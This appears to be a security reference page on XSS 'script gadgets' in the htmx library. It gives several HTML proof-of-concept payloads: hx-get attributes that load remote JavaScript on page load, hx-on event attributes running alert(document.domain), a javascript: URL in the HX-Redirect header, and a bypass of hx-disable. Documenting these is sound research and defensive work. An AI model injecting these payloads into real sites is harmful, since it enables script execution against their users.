htmx allows you to access AJAX, CSS Transitions, WebSockets and Server Sent Events directly in HTML, using attributes, so you can build modern user interfaces with the simplicity and power of hypertext.
The htmx library allows to perform HTTP requests and update the DOM using attributes. The following ones can be used to update the HTTP request method
:
By default, it then inserts the response into the DOM using .innerHTML
(no matter the response Content-Type
) which is the default hx-swap (data-hx-swap
) value.
There is many other attributes that can be used with it:
The full list can be found here.
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/htmx.min.js"></script>
<!-- user input -->
<div data-hx-get="https://gmsgadget.com/assets/xss/index.js" data-hx-trigger="load">Click Me</div>
All the data-*
attributes can be replaced with their hx-
equivalent.
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/htmx.min.js"></script>
<!-- user input -->
<div hx-get="https://gmsgadget.com/assets/xss/index.js" hx-trigger="load"></div>
By default, htmlx only parse data-*
, and hx-*
attributes when the library is loaded. The only way to parse them with “delay” is using:
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/htmx.min.js"></script>
<script>
setTimeout(function () {
document.body.innerHTML = `<div hx-get="https://gmsgadget.com/assets/xss/index.js" hx-trigger="load"></div>`;
htmx.process(document.body);
}, 1000);
setTimeout(function () {
htmx.swap(document.body, `<div hx-get="https://gmsgadget.com/assets/xss/index.js" hx-trigger="load"></div>`, "innerHTML");
}, 2000);
</script>
Related links:
The htmlx library uses data-hx-*
attributes to define events.
Check #Latest (1) to see how could this be exploited after the library is loaded.
<script nonce="secret" src="https://unpkg.com/[email protected]"></script>
<!-- user input -->
<img src="x" data-hx-on-error="alert(document.domain)">
It is also possible to use data-hx:
prefix.
<script nonce="secret" src="https://unpkg.com/[email protected]"></script>
<!-- user input -->
<div data-hx-on:click="alert(document.domain)">Click Me</div>
Or even with the hx-
prefix.
<script nonce="secret" src="https://unpkg.com/[email protected]"></script>
<!-- user input -->
<img src="x" hx-on-error="alert(document.domain)">
Related links:
The HX-Redirect
response header can be used to specify a URL to redirect to. Setting it to javascript:alert(1)
triggers an XSS.
Check #Latest (1) to see how could this be exploited after the library is loaded.
<div hx-get="/endpoint-with-HX-Redirect-header" hx-trigger="load"></div>
Related links:
Found by @avlidienbrunn.
It was possible to bypass the hx-disable
context using hx-on-*
attributes.
Check #Latest (1) to see how could this be exploited after the library is loaded.
<script nonce="secret" src="https://unpkg.com/[email protected]"></script>
<div hx-disable>
<!-- user input -->
<img src="x" data-hx-on-error="alert(document.domain)">
</div>
Related links:
Found by @avlidienbrunn.